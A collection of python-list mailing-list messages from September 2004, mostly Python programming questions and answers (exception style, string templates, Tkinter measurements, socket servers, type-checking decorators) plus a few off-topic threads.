microsecond's difference (and that's on a modest 800 MHz iBook G4 cheap
laptop a year old...).  To me, it seems very much like a case where
design decisions should be based on clarity and simplicity, not on tiny
performance advantages...!


Alex


From tjreedy at udel.edu  Fri Sep 24 20:41:57 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 24 Sep 2004 20:41:57 -0400
Subject: Twisted Matrix - The Motion Picture
References: <mailman.3840.1096024612.5135.python-list@python.org>
	<slrncl8sdk.okj.mlh@furu.idi.ntnu.no>
Message-ID: <cj2esp$6f1$1@sea.gmane.org>


"Magnus Lie Hetland" <mlh at furu.idi.ntnu.no> wrote in message 
news:slrncl8sdk.okj.mlh at furu.idi.ntnu.no...
> In article <mailman.3840.1096024612.5135.python-list at python.org>, Tim
> Churches wrote:
>>Apologies if someone has already posted an item about this,
>
> Hm. Didn't *you* just post an item about it? At least it seems like it
> in my newsreader...

Several messages have been double-posted recently.  This happens 
periodically.

TJR





From ialbert at mailblocks.com  Fri Sep 10 14:53:59 2004
From: ialbert at mailblocks.com (Istvan Albert)
Date: Fri, 10 Sep 2004 14:53:59 -0400
Subject: ANN: LOWESS fitting (python wrapper)
Message-ID: <J6udnUN1n6DaZdzcRVn-jg@giganews.com>


Hello folks,

I have recently needed to use lowess fitting in a project. I ended
up using the C code from R by wrapping it as a python module.

If you need such things have a look here:

http://www.personal.psu.edu/staff/i/u/iua1/python/dist/

Windows binaries for python 2.3 are included in the library.

In the meantime I found out that biopython has a lowess call,
but that depends on Numeric. (It also does not seem to work
properly. As far as I could tell, it was not returning correct
values).

cheers,

Istvan.

-------------- README ------------------

Lowess fitting for python, version 0.5
======================================

ABOUT
-----

Lowess stands for "locally weighted regression". For more
information see:

http://www.itl.nist.gov/div898/handbook/pmd/section1/pmd144.htm

This module is a python wrapper around the lowess C code used
in the R project. It exposes a single function used as:

import lowess
ys = lowess.fit(x=X, y=Y, F=F, NSTEPS=NSTEPS, DELTA=DELTA)

that computes the smooth scatterplot of Y  against  X
using  robust  locally  weighted regression.  The function
returns the fitted values, computed at each of the
values  of the  horizontal axis in X. Parameter description:

	X = abscissas of the points on the scatterplot;
	VERY IMPORTANT: the values in X must be ordered
	from smallest to largest!

	Y = ordinates of the points on the scatterplot.
	
	F = specifies the amount of smoothing; F is
	the fraction of points used to compute each
	fitted value; as F increases the smoothed values
	become smoother; choosing F in the range .2 to
	idea which value to use, try F = .5.

	NSTEPS = the number of iterations in the robust
	fit; if NSTEPS = 0, the nonrobust fit is
	returned; setting NSTEPS equal to 2 should serve
	most purposes.

	DELTA = nonnegative parameter which may be used
	to save computations. If let to the default value of
	'None' DELTA will be esstmated as (max(X)-min(X))/50

For more information on the parameters see the
lowess_readme.txt file.

INSTALLATION
------------

On unix platforms SWIG is required. Type

python setup.py build

then

python setup.py install

On windows platforms copy the two files located in
the win32 directory to your python path, usually to the
c:\Python23\Lib\site-packages directory.

TESTING
-------

Run the runme.py file.

LICENSE
-------

GNU GPL as required by the R project: http://www.r-project.org/


From mwh at python.net  Thu Sep  9 14:17:59 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 9 Sep 2004 18:17:59 GMT
Subject: Is except: ... pass bad style?
References: <pan.2004.09.09.16.26.16.985806@python.net>
	<chq3vi$qb0$01$1@news.t-online.com>
	<pan.2004.09.09.17.56.54.316784@python.net>
Message-ID: <m3r7pbb92g.fsf@pc150.maths.bris.ac.uk>

marduk <marduk at python.net> writes:

> Based on all the responses received thus far, I thought of a way of
> doing it without an exception:
> 
> myobj.__dict__.get('method', lambda : None)()

Uh, I'd say that's pretty unlikely to work.  What's wrong with
getattr()?

Cheers,
mwh

-- 
  <dash> wow. this code does something highly entertaining, but
         nowhere near correct                   -- from Twisted.Quotes


From nid_oizo at yahoo.com_removethe_  Thu Sep  9 21:17:05 2004
From: nid_oizo at yahoo.com_removethe_ (Nicolas Fleury)
Date: Thu, 09 Sep 2004 21:17:05 -0400
Subject: Is except: ... pass bad style?
In-Reply-To: <pan.2004.09.09.16.26.16.985806@python.net>
References: <pan.2004.09.09.16.26.16.985806@python.net>
Message-ID: <4f70d.25277$sz2.371909@wagner.videotron.net>

marduk wrote:

> I commonly use code like this
> 
> try:
>     # call optional method
>     myobj.method()
> except AttributeError:
>     # no biggie
>     pass
> 

The problem with that solution is that some code in method() might raise 
  an AttributeError exception, and the code is broken.  Using hasattr or 
getattr is definitely better.

Regards,
Nicolas


From albalmer at att.net  Fri Sep 10 14:41:50 2004
From: albalmer at att.net (Alan Balmer)
Date: Fri, 10 Sep 2004 11:41:50 -0700
Subject: Xah Lee's Unixism
References: <413f03cc$0$6914$61fed72c@news.rcn.com>
	<413F43AC.9D2088AF@yahoo.com> <chntno$ku1$1@grandcanyon.binc.net>
	<10juvnrt88k4868@corp.supernews.com>
	<414069c6$0$6912$61fed72c@news.rcn.com>
	<opsd2vlvy7pqzri1@mjolner.upc.no>
	<1549.748T655T9283520@kltpzyxm.invalid>
	<3fh3k0tnumgcvdd89h8jbbnc2j92t97i76@4ax.com>
	<m1m0d.88323$S55.10260@clgrps12>
Message-ID: <23t3k09ivp173r2hqpqqfaj2uhvnmbllr3@4ax.com>

On Fri, 10 Sep 2004 18:05:06 GMT, "Coby Beck" <cbeck at mercury.bc.ca>
wrote:

>
>"Alan Balmer" <albalmer at att.net> wrote in message
>news:3fh3k0tnumgcvdd89h8jbbnc2j92t97i76 at 4ax.com...
>> Can you point to the international agreement which allows Canadian
>> citizens to be thrown into US jails for the stated offense?
>
>It's probably in the same international agreement that allows citizens of
>any country to be held incommunicado indefinitely in Guantanamo Bay.  And
>the same international agreement that allows Afgan and Iraqi POW's to be
>imprisoned with no Geneva convention protection 

They are being treated under the Conventions, even though not legally
entitled to such treatment. This was discussed in some depth quite a
while ago - if you're really interested, check google groups.

>and hidden from
>International Red Cross. 

Not very well, apparently. The Red Cross found them. So did a bunch of
lawyers.

You apparently haven't been keeping up. Those DNC talking points have
been obsolete for a while now.

> Do you really think the Bush administration cares
>about international agreements?

Yes.

-- 
Al Balmer
Balmer Consulting
removebalmerconsultingthis at att.net


From winexpert at hotmail.com  Mon Sep 20 12:20:40 2004
From: winexpert at hotmail.com (David Stockwell)
Date: Mon, 20 Sep 2004 16:20:40 +0000
Subject: some basic questions...
Message-ID: <BAY2-F26fedlMAUGYbh00002076@hotmail.com>

Hi Player,

For the second part,

I tend to think of the self as a reference to an object thats sitting on a 
stack somewhere.  With python you don't have to worry about the stack at 
all, instead you just use the 'self' to navigate the stack.

in your example, it would be done this way
if _name ==  '_main_':
         myGame = Application()
         myGame.run()


the object 'myGame' becomes what self refers to when run wants to do 
something with 'self' (You write the code, etc).

Instantiating Application places that object on the stack.  Then the rest of 
your program is relative to that stack object.

I think you could have also done:

if _name_ == '_main_':
     Application().run()

But I've never done that.

--------------------------------------



David
-------
Surf a wave to the future with a free tracfone 
http://cellphone.duneram.com/index.html




>From: "Player" <guess at My.email.address.scum.com>
>To: python-list at python.org
>Subject: some basic questions...
>Date: Mon, 20 Sep 2004 17:05:13 +0100
>
>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Hello
>
>  I am teaching myself python, and I have gotten a long way, it's quite a
>decent language and the syntax is great :)
>
>However I am having a few, "problems" shall we say with certain conventions
>in python.
>
>In the book I am using to teach me more of the inner working of python, and
>further into python that the basic tutorials go, there is this wording
>below...
>
>[book quote]
>When a file containing python code is executed, the built in variable 
>_name_
>is populated with the name of the module being executed. If the value of
>_name_ is _main_, then that file is the original file that was used to
>invoke the application from command line or an icon.
>This is usefull, as it allows code to know the difference between when it 
>is
>invoked & when it is imported by another python program. It is also 
>provides
>a convenient place to provide one-time startup code.
>[end quote]
>
>Can someone explain this in some different wording, because I dn't know if
>my understanding of what is said in that paragraph is right or not?
>
>ALSO
>Below is some example of some code, for use with python and PyGame and 
>PyUI,
>that I would like to ask a question about..
>
>import pyui
>
>class Application:
>     def _init_(self, width, height):
>         self.width = width
>         self.height = height
>
>     def run(self):
>         """I am called to begin the Application or game.
>         """
>
>     def run()
>         width = 800
>         height = 600
>         pyui.init(width, height)
>         app= Application(width, height)
>         app.run()
>
>     if _name ==  '_main_':
>         run()
>
>Now I no that this code declares an Application class, and then invokes a
>run method to create an instance of that class. Then the Application 
>cobject
>then uses the run method called to start the main loop.
>
>Which basically created a game window of size 800 by 600.
>
>What I don't understand is the, "self" bit of the two top functions.
>
>Can somebody explain what the, "self" is actually for??
>
>Thanks ina dvance :)
>
>Player
>
>
>
>
>- --
>*************
>The Imagination may be compared to Adam's dream-
>he awoke and found it truth.
>John Keats.
>*************
>-----BEGIN PGP SIGNATURE-----
>Version: PGP 8.0
>
>iQA/AwUBQU7/ty/z2sM4qf2WEQJRrQCguAtRwDQ6UfFRXDGZ63DDjWdnID0AmwX3
>4K3iWiybh9BEKPh9b2h0m9Tr
>=0niY
>-----END PGP SIGNATURE-----
>
>
>--
>http://mail.python.org/mailman/listinfo/python-list

_________________________________________________________________
FREE pop-up blocking with the new MSN Toolbar ? get it now! 
http://toolbar.msn.click-url.com/go/onm00200415ave/direct/01/



From alexis.roda at urv.es  Wed Sep  8 12:30:09 2004
From: alexis.roda at urv.es (Alexis Roda)
Date: Wed, 08 Sep 2004 18:30:09 +0200
Subject: Using Python to generate code?
In-Reply-To: <1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>
References: <ed89f8f2.0409072251.2152c22b@posting.google.com>
	<slrncju9df.8jt.hat@se-126.se.wtb.tue.nl>
	<1gjt2sn.1mxhb1n12y29cuN%aleaxit@yahoo.com>
Message-ID: <413F3391.3000607@urv.es>

Alex Martelli wrote:
>>output=string.replace(output,"$VAR",varName)
>>output=string.replace(output,"$START",varName1)
>>output=string.replace(output,"$END",varName2)
>>
>>Obviously, this can be enhanced.
>>(use other conventions than $identifier, and performing the substitution
>>in a loop).
>>BTW: I am not sure string.replace works OK as shown here.
> 
> 
> Yep, though output.replace(...) would be neater.  But the best
> replacement is already in the Python 2.4 standard library: it uses
> exactly the $identifier convention, and takes a dictionary of mapping of
> identifier to string...:
> 
> In [4]: tpl=string.Template('for ($VAR = 1, $VAR < $START, $VAR <
> $END)') 
> 
> In [5]: tpl % dict(VAR='foo', START='bar', END='baz')
> Out[5]: u'for (foo = 1, foo < bar, foo < baz)'
> 
> In [6]: tpl % dict(VAR='fee', START='fie', END='fofum')
> Out[6]: u'for (fee = 1, fee < fie, fee < fofum)'

If you are not contrained to using $ identifiers:

d={'var':'foo', 'start':1, 'end': 100}
'for (%(var)s = %(start)i; %(var)s < %(end)i; %(var)s++)' % d

-> 'for (foo = 1; foo < 100; foo++)'



Regards
-- 
                                    ////
                                   (@ @)
----------------------------oOO----(_)----OOo--------------------------
<>               Ojo por ojo y el mundo acabara ciego
/\ Alexis Roda - Universitat Rovira i Virgili - Reus, Tarragona (Spain)
-----------------------------------------------------------------------



From rpw3 at rpw3.org  Fri Sep  3 00:06:52 2004
From: rpw3 at rpw3.org (Rob Warnock)
Date: Thu, 02 Sep 2004 23:06:52 -0500
Subject: Xah Lee's Unixism
References: <7fe97cc4.0408251356.34f2102a@posting.google.com>
	<ch7nnq$sk1$1@baldur.whoi.edu>
	<874qmgifgy.fsf@thalassa.informatimago.com>
	<1094158110.307899@teapot.planet.gong>
Message-ID: <IpWdndgNVutBcKrcRVn-gg@speakeasy.net>

Rupert Pigott  <roo at try-removing-this.darkboong.demon.co.uk> wrote:
+---------------
| Pascal Bourguignon wrote:
| > In anycase, at the time the Macintosh appeared, there were
| > already 680x0 based unix workstations.
|
| It was specifically the 68000. Fixes were made that took effect in the
| 68010 and 68020. Dunno about 68008. IIRC the problem was that you could
| not restart some instructions properly. Some UNIX workstations did use
| 68Ks, there was an Apollo that had two of them running in lock-step,
| with one of them one instruction behind the other. When the leading CPU
| barfed, action would be taken and the other CPU would take over. Someone
| in comp.arch worked on the Fortune boxes and IIRC he claimed they had a
| more elegant single CPU solution.
+---------------

That would have been me, in <news:R4OdnfWrcMv1ekHdRVn_iw at speakeasy.net>,
replying to John Mashey. We tweaked the C compiler's calling conventions
enough to allow automatic stack growth by faulting off the end of the
stack to work reliably. See the referenced article for more detail.

But as I finished there:

    Though there were certainly other places where the mc68000's imprecise
    exceptions left no choice but to blow the offending process away...


-Rob

-----
Rob Warnock			<rpw3 at rpw3.org>
627 26th Avenue			<URL:http://rpw3.org/>
San Mateo, CA 94403		(650)572-2607



From xnews2 at fredp.lautre.net  Mon Sep 13 10:36:29 2004
From: xnews2 at fredp.lautre.net (Fred Pacquier)
Date: 13 Sep 2004 14:36:29 GMT
Subject: Annotatable Python docs -- now a reality !!!
References: <b16e4ef7.0409130445.294ced1f@posting.google.com>
	<m3oeka9vwc.fsf@pc150.maths.bris.ac.uk>
Message-ID: <Xns9563A924A580CPaCmAnRDLM@212.27.42.71>

Michael Hudson <mwh at python.net> said :

> He also posted about it here last week!
> (n7SdnZtMDYiO_N3cRVn-iw at speakeasy.net).

Well I, for one, had missed that first annoucement, so thanks to Steve for 
the repeat !

I trust it will also appear in the next weekly DrDobbs/Python URL...

-- 
YAFAP : http://www.multimania.com/fredp/


From peter at engcorp.com  Tue Sep 14 21:00:42 2004
From: peter at engcorp.com (Peter Hansen)
Date: Tue, 14 Sep 2004 21:00:42 -0400
Subject: comparing datetime with date
In-Reply-To: <41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
References: <mailman.3292.1095162740.5135.python-list@python.org>
	<41477d9a$0$24391$5a62ac22@per-qv1-newsreader-01.iinet.net.au>
Message-ID: <huCdnXhcC8yhCdrcRVn-sg@powergate.ca>

Graeme Matthew wrote:

>>>>str(y)
> '2004-09-14 06:43:15'
>>>>str(x)
> '2004-09-14'

> Even though there string values are different they still match?
> 
> If we perform a CRC (Cyclic Redundancy Check) i.e compute a one way hash:
> 
> import binascii
> 
>>>>crc_x = binascii.crc32(str(x))
>>>>crc_y = binascii.crc32(str(y))
>>>>print crc_x == crc_y
> 
> False
> 
> So this confirms that there values do differ yet a comparision using ==
> returns True?

I'm unclear why you think this binascii.crc32 stuff has anything
to do with anything.  The strings are different, as you showed.

Ignoring collisions (which would be rare) two different strings
are going to have different CRC32 values.  Did you confuse yourself
somewhere along the way?

(Now if the CRC values for those two strings were the same, *that*
would indeed be interesting.)

-Peter


From john at grulic.org.ar  Tue Sep  7 09:23:04 2004
From: john at grulic.org.ar (John Lenton)
Date: Tue, 7 Sep 2004 10:23:04 -0300
Subject: run a python script located on linux from a windows computer
In-Reply-To: <2cbc7d61.0409070012.3b163cc@posting.google.com>
References: <2cbc7d61.0409070012.3b163cc@posting.google.com>
Message-ID: <20040907132304.GC21637@grulic.org.ar>

On Tue, Sep 07, 2004 at 01:12:04AM -0700, jacques wrote:
> 
> i have a computer with redhat linux. on this computer i have some
> python scripts i want to run. i don't want to run them with linux but
> with windows. so i have a second computer (win) with python installed.
> how can i lauch the script on the linux?
> 
> python myscript.py 192.168.1.1 ?

there are several ways to read your question; one (which is still
slightly ambiguous) is 'how can I have a script executed on the linux
computer from a script running on the windows computer?'. There are
several ways of doing this, but probably the easyest is running some
kind of RPC server on the linux box, and having the windows box be a
client of same. Possibly the easyest way to do this is with pyro.

-- 
John Lenton (john at grulic.org.ar) -- Random fortune:
I will not say that women have no character; rather, they have a new
one every day.
		-- Heine
-------------- next part --------------
A non-text attachment was scrubbed...
Name: signature.asc
Type: application/pgp-signature
Size: 196 bytes
Desc: Digital signature
URL: <http://mail.python.org/pipermail/python-list/attachments/20040907/d8fe28d1/attachment.sig>

From hjeet_in at yahoo.com  Tue Sep 28 12:13:17 2004
From: hjeet_in at yahoo.com (JEET)
Date: Tue, 28 Sep 2004 17:13:17 +0100 (BST)
Subject: Using python to convert PDF document to MSWord documents
Message-ID: <20040928161317.88987.qmail@web8401.mail.in.yahoo.com>

Hello All,
 
Can anyone please suggest me if  there any python modules available to convert PDF document to MSWord documents. If not then can you please suggest how can i acheive this.
 
Many thanks in advance,
 
Regards
Deb



Yahoo! India Matrimony: Find your life partneronline.
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-list/attachments/20040928/d53f87a7/attachment.html>

From aleaxit at yahoo.com  Fri Sep 24 03:18:20 2004
From: aleaxit at yahoo.com (Alex Martelli)
Date: Fri, 24 Sep 2004 09:18:20 +0200
Subject: Why not FP for Money?
References: <cc887c1d.0409202325.76ec2227@posting.google.com>
	<10l0lpt9n0n5k9c@news.supernews.com>
	<ad052e5c.0409211611.7e4411e@posting.google.com>
	<4t33l0h66h171hcb6riu97s55pj0860hdf@4ax.com>
	<mailman.3721.1095866067.5135.python-list@python.org>
	<cc887c1d.0409222103.388c40de@posting.google.com>
	<mailman.3775.1095939700.5135.python-list@python.org>
	<Xns956D83A8D1E7duncanrcpcouk@127.0.0.1>
	<mailman.3781.1095942759.5135.python-list@python.org>
	<civ3jc$g68$0$216.39.172.122@theriver.com>
	<7xwtykdy88.fsf@ruckus.brouhaha.com>
Message-ID: <1gkm1q8.s0ybmt1g0s95dN%aleaxit@yahoo.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> wrote:
   ...
> Lots of currency symbols are suffixed (3.52 DM) instead of prefixed.
> How about $ as a suffix?

Once you're going suffix, you could dispense with the horrid ambiguity
of '$' (which might play havoc with values if a program is ever moved
across, say, the US/Canada border;-) and go for the unambiguous standard
three-letter suffixes, such as USD, EUR, &c...;-)


Alex


From fredrik at pythonware.com  Fri Sep 24 10:15:11 2004
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Fri, 24 Sep 2004 16:15:11 +0200
Subject: Unexpected Python Behavior
References: <4e4a11f8.0409232355.6ba0468d@posting.google.com><mailman.3834.1096015522.5135.python-list@python.org>
	<RImdnbz2hMm7v8ncRVn-qg@lmi.net>
Message-ID: <cj1a1k$95c$1@sea.gmane.org>

David Pokorny wrote:

> Has it been discussed whether it would be a good idea to issue a warning in
> this case? It strikes me that a warning wouldn't bother veteran programmers,
> since it is really easy to avoid using a mutable default value (nearly
> trivial to modify code that does use mutable default values). I'd imagine it
> makes code more readable too.

1) you cannot tell if an object is mutable or not

2) there are lots of valid uses for object binding (see the "This feature can
   be useful" part in the FAQ for one example)

</F> 





From scook at elp.rr.com  Sat Sep  4 18:54:10 2004
From: scook at elp.rr.com (Stan Cook)
Date: Sat, 04 Sep 2004 22:54:10 GMT
Subject: Dbase Connection
References: <3Jp_c.15967$Xi.2705@fe1.texas.rr.com><20040904174801.07582.00000186@mb-m11.aol.com><blr_c.16252$Xi.15559@fe1.texas.rr.com>
	<mailman.2882.1094337438.5135.python-list@python.org>
Message-ID: <mIr_c.16298$Xi.3000@fe1.texas.rr.com>

Thanks Julio.  I'll give it a look.

Stan
"Julio O?a" <thinmanj at gmail.com> wrote in message
news:mailman.2882.1094337438.5135.python-list at python.org...
> On Sat, 04 Sep 2004 22:29:27 GMT, Stan Cook
<scook at elp.rr.com> wrote:
> > I want to open it with Python.  If that's possible.
>
>
> Stan,
>
> There are some information out there, maybe one of these
links could help you.
>
> Regards.
>
> http://py.vaults.ca/apyllo2.py/96891420
>
http://cwashington.netreach.net/depo/view.asp?Index=102&ScriptType=python
> http://www.garshol.priv.no/download/software/python/
>
> -- 
> Julio




From claird at lairds.us  Thu Sep 23 10:08:11 2004
From: claird at lairds.us (Cameron Laird)
Date: Thu, 23 Sep 2004 14:08:11 GMT
Subject: Don't let your babies grow up to be programmers (was: up with
	PyGUI!)
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<1095378815.31957.166.camel@devilbox.devilnet.internal>
	<cio5gu$2nk$1@sea.gmane.org>
	<mailman.3701.1095836355.5135.python-list@python.org>
Message-ID: <rp0b22-l8g.ln1@lairds.us>

In article <mailman.3701.1095836355.5135.python-list at python.org>,
Cliff Wells  <clifford.wells at comcast.net> wrote:
			.
		[long lament about
		loss of good life
		for US programmers]
			.
			.
>This may be so.  Of course I expect the U.S. job market for software
>development will be gone by then (or simply seen as a good first job for
>students before they can get a better job at Walmart). 
>
>> I also expect increasing numbers of US knowledge/information 
>> workers with portable skills to take advantage of the distortions while 
>> they last.
>
>Well, I've certainly considered other lines of work, if that's what you
>mean.  
			.
			.
			.
It's worse than that, Cliff:  there's serious reason to fear
that non-price factors might soon work *against* us in the US,
almost as much as they have for us in the past.  I see this
running along a couple of lines:
*) "security"-related and DRM-IP-enforcing 
   export restrictions directly interfere
   with our ability to deliver internation-
   ally; and
*) MS hasn't been alone in habituating 
   international customers to associate US
   software with expense and unreliability.


From eric_brunel at despammed.com  Tue Sep 28 04:26:01 2004
From: eric_brunel at despammed.com (Eric Brunel)
Date: Tue, 28 Sep 2004 10:26:01 +0200
Subject: Tkinter measurements
References: <pan.2004.09.27.23.19.13.30084@cox.net>
Message-ID: <41591e47$0$25116$8fcfb975@news.wanadoo.fr>

John Velman wrote:
> I want to draw a box around a short piece of text in canvas (one line
> text).  I know how to do it if I place the text on the canvas first,then
> draw the box around it. 
> 
> Is there a way to find out the dimensions of the text bounding box before
> drawing it?

First: why do you want to do that? The most used method is to draw the text 
before, get its bounding box, then draw the box. Why do you want to do the opposite?

Anyway, there are some ways to get the size of the displayed text via the tkFont 
module. Example:

--------------------------------------------------------------
from Tkinter import *
from tkFont import Font

root = Tk()
cnv = Canvas(root)
cnv.pack()

## This text item is only used to get the default font in the canvas
t = cnv.create_text(0, 0, text='')
f = Font(font=cnv.itemcget(t, 'font'))

s = 'spam, spam and spam'
cnv.create_text(10, 10, text=s, anchor=W)
cnv.create_line(10, 15, 10 + f.measure(s), 15)

root.mainloop()
--------------------------------------------------------------

So you can get the text width quite easily. For the text height, it only depends 
on the font size and the number of lines in the text, so computing it "manually" 
seems reasonable.

> Also, is there a method for converting from pixels to inches or inches to
> pixels (for canvas)?

The solution I use is just to multiply or divide by 72. Be careful with that: if 
you use it on font sizes, some windowing systems try to be smart and consider 
the screen resolution when displaying text. To avoid this, you can use negative 
font sizes (e.g. myText.configure(font=('helvetica', -12))). A negative font 
size is always considered in "regular" pixels (one inch / 72), and does not 
depend on the screen resolution.

HTH
-- 
- Eric Brunel <eric (underscore) brunel (at) despammed (dot) com> -
PragmaDev : Real Time Software Development Tools - http://www.pragmadev.com



From danperl at rogers.com  Tue Sep 28 16:09:51 2004
From: danperl at rogers.com (Dan Perl)
Date: Tue, 28 Sep 2004 16:09:51 -0400
Subject: Problem with a dictionary program....
References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net>
	<2rt8rsF1ej1qmU1@uni-berlin.de>
	<415976d1$0$23090$ba624c82@nntp05.dk.telia.net>
	<10liubfprlt4g9d@corp.supernews.com>
	<41597d62$0$23054$ba624c82@nntp05.dk.telia.net>
	<1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com>
	<WradnQAV-sMBEsTcRVn-sA@rogers.com>
	<10ljg2vl36tb1e@corp.supernews.com>
Message-ID: <Iuadnd7p5_COWMTcRVn-qA@rogers.com>

Sorry, my bad.  I didn't pay attention and I mistook the join( ) for an 
append( ) while just copying and pasting.  I've never used join( ) myself so 
it didn't click in my mind.

Dan

"Jeff Shannon" <jeff at ccvcorp.com> wrote in message 
news:10ljg2vl36tb1e at corp.supernews.com...
> Dan Perl wrote:
>
>>>>output = []
>>>>for character in indput:
>>>>  output.append(List[character])
>>>>  print ', '.join(output)
>>>>
>>That print statement is actually wrong in many ways.  It was probably 
>>meant to be something like
>>    print ','.join(List[int(character)])    # List[int(character)], not 
>> output
>>but even that would start with ',' and it would be on multiple lines 
>>(probably not your intention).
>
> No, it wouldn't start with ',' -- you're not parsing that line the same 
> way that Python does. ;)
>
> aString.join(aList) will combine a list of strings into a single string, 
> using the referenced string as "glue" to stick the pieces together.  Thus, 
> when the referenced string is ', ', you'll get "item0, item1, item2".
>
> Python will evaluate the call to ', '.join() *before* it prints anything. 
> The print statement is given the resulting (single) string as its 
> argument.  Indeed, that line could be split into several lines for 
> clarity:
>
>    separator = ', '
>    outputstring = separator.join(output)
>    print outputstring
>
> The point here is that the for loop builds a list of strings (called 
> 'output').  *After* the for loop finishes, then str.join() combines that 
> list into a single string, which is printed.  However, the O.P. has an 
> indentation problem in his code -- he's put the print statement inside his 
> for loop, which means that every intermediate stage of the partially-built 
> output will get printed as well.  All that needs done to fix it is to 
> outdent it one level (as Alex suggested).
>
> Your suggestion ("print ','.join(List[int(character)])"), by the way, will 
> give results that are far different from what you expect.  ;)
>
> >>> List = ['zero', 'one', 'two', 'three']
> >>> print ",".join(List[int('3')])
> t,h,r,e,e
> >>>
>
> You're correctly looking up the word to use for a given digit, but then 
> you're passing that single string (rather than a list) to join(), which 
> works on any sequence (not just lists).  Well, strings are sequences too 
> (a sequence of characters), so join() creates a string with each element 
> (character) of the sequence separated by the specified string (",").
>
> Jeff Shannon
> Technician/Programmer
> Credit International
>
>
>
> 




From fakeaddress at nowhere.org  Thu Sep 16 04:46:18 2004
From: fakeaddress at nowhere.org (Bryan Olson)
Date: Thu, 16 Sep 2004 08:46:18 GMT
Subject: socket function that loops AND returns something
In-Reply-To: <ciatjj$olo$1@solaris.cc.vt.edu>
References: <ciatjj$olo$1@solaris.cc.vt.edu>
Message-ID: <tpc2d.16169$QJ3.2672@newssvr21.news.prodigy.com>

Brad Tilley wrote:

 > [...] I want to get the data that the clients send out of
 > the loop but at the same time keep the loop going so it can
 > continue listening for connections. [...]

I'd classify the ways to do it somewhat differently than the
other responses:

     -Start multiple lines of execution
         - using threads
         - using processes (which, in Python, is less portable)

     -Wait for action on multiple sockets within a single thread
         - using os.select
         - using some less-portable asynchronous I/O facility

Those are the low-level choices.  Higher level facilities, such
as Asyncore and Twisted, are themselves based on one or more of
those.

Different servers have different needs, but when in doubt use
threads.  Threading on the popular operating systems has
improved vastly in the last several years.  Running a thousand
simultaneous threads is perfectly reasonable. Programmers using
threads have to be aware of things like race conditions, but
when threads are handling separate connections, most of their
operations are independent of other threads.


-- 
--Bryan


From tjreedy at udel.edu  Fri Sep 17 19:33:09 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 17 Sep 2004 19:33:09 -0400
Subject: "Updating" lambda functions
References: <2qtl0oF139gn6U1@uni-berlin.de><mailman.3428.1095385637.5135.python-list@python.org><Eps2d.28226$%S.369@pd7tw2no><mailman.3440.1095407177.5135.python-list@python.org>
	<cie73b$jma$0$216.39.172.122@theriver.com>
Message-ID: <cifs7r$q1q$1@sea.gmane.org>


"Bengt Richter" <bokr at oz.net> wrote in message 
news:cie73b$jma$0$216.39.172.122 at theriver.com...
>>> "Terry Reedy" <tjreedy <at> udel.edu> wrote in message
>>> news:mailman.3428.1095385637.5135.python-list <at> python.org...
>>>
>>> | I am curious if there is any reason other that habit carried over 
>>> from
>>> | other languages to not write the above as
>>> |
>>> | def fu(x): return x
>>> | def fu(x): return fu(x) + 17
>
>   obj.f = lambda args: body
>
> is possible without an intermediate local binding of f that might clobber 
> a previous f, as in
>
>   def f(args): body
>   obj.f = f
>   del f # if you want to clean up. But better save the old f in that 
> case?
>
> I'd rather use lambda.

Thanks.  I had not thought of this variation.  Similar would be
seq[n] = lambda <whatever>

Of course, I *might* prefer being able to write

def obj.f(params): <etc> # and
def seq[n](params): <etc>

Since def is effectively a binding statement, name to function object (like 
import, name to module), these seem not entirely unreasonable to me.

Terry J. Reedy






From adalke at mindspring.com  Thu Sep  2 18:17:37 2004
From: adalke at mindspring.com (Andrew Dalke)
Date: Thu, 02 Sep 2004 22:17:37 GMT
Subject: A little stricter type checking
In-Reply-To: <ef9924de.0409021326.6e72802b@posting.google.com>
References: <ef9924de.0409021326.6e72802b@posting.google.com>
Message-ID: <5_MZc.5808$w%6.5000@newsread1.news.pas.earthlink.net>

Tongu? Yumruk wrote:
 > If you want to be sure, you need to explicitly check if the
 > variable has the correct type.

Rather, if you want to be sure then it's likely you
haven't fully understood "duck typing" (or "latent typing"
or "dynamic typing", depending on who you are.)  See
   http://c2.com/cgi/wiki?DuckTyping
and
   http://mindview.net/WebLog/log-0052
for more details.

In short, doing explicit type checks is not the Python way.

> Well always checking the types of the parameters in the start of every
> function is too many redundant work. Instead we can define a syntax
> that will check the type information at the beginning of function
> declaration, and even before executing any code from that function.
> That syntax might look like that:
> 
> def larry(guido >= foo):
> 	<Just actual code, no checking since the interpreter handles it>

The few times I've needed explicit type checks is to
do slightly different behaviour based on an type.
For example,

def count_lines(f):
     if isinstance(f, str):
         f = open(f, "U")
     return len(f)

Your proposal doesn't do anything for this use case.

In addition, what you're thinking of could be
done with the new "decorator" proposal.  Here's
a sketch of one way to handle it.  Ideally
it should propogate the arglist and support
keyword args and default parameters, but this
gives the essense.

 >>> class typecheck:
...   def __init__(self, *types):
...     self.types = types
...   def __call__(self, func):
...     def f(*args):
...       for arg, basetype in zip(args, self.types):
...         if not isinstance(arg, basetype):
...           raise TypeError("incompatible types")
...       return func(*args)
...     return f
...
 >>> @typecheck(int, str)
... def spam(i, s):
...     return s*i
...
 >>> spam(2, "hello")
'hellohello'
 >>> spam("hello", 2)
Traceback (most recent call last):
   File "<stdin>", line 1, in ?
   File "<stdin>", line 8, in f
TypeError: incompatible types
 >>>

(Wow!  My first used of the @-thingy and it worked
on the first try.)

> And if we have a function that have much more parameters, this kind of
> a syntax will really help us to remove redundant code from our
> functions. The syntax can be defined by something like:

   [
    == for exact test
    >= for superclass test
    <= for subclass test
    != for is neither subclass nor superclass
    in for attribute testing
   ]


But if you look through Python code you'll see that
most of the use cases look like my emulation of
polymorphism and not your strict type checking.  Here
are some examples from the stdlib

     def __eq__(self, other):
         if isinstance(other, BaseSet):
             return self._data == other._data
         else:
             return False



         if isinstance(instream, basestring):
             instream = StringIO(instream)



         elif (not isinstance(self.delimiter, str) or
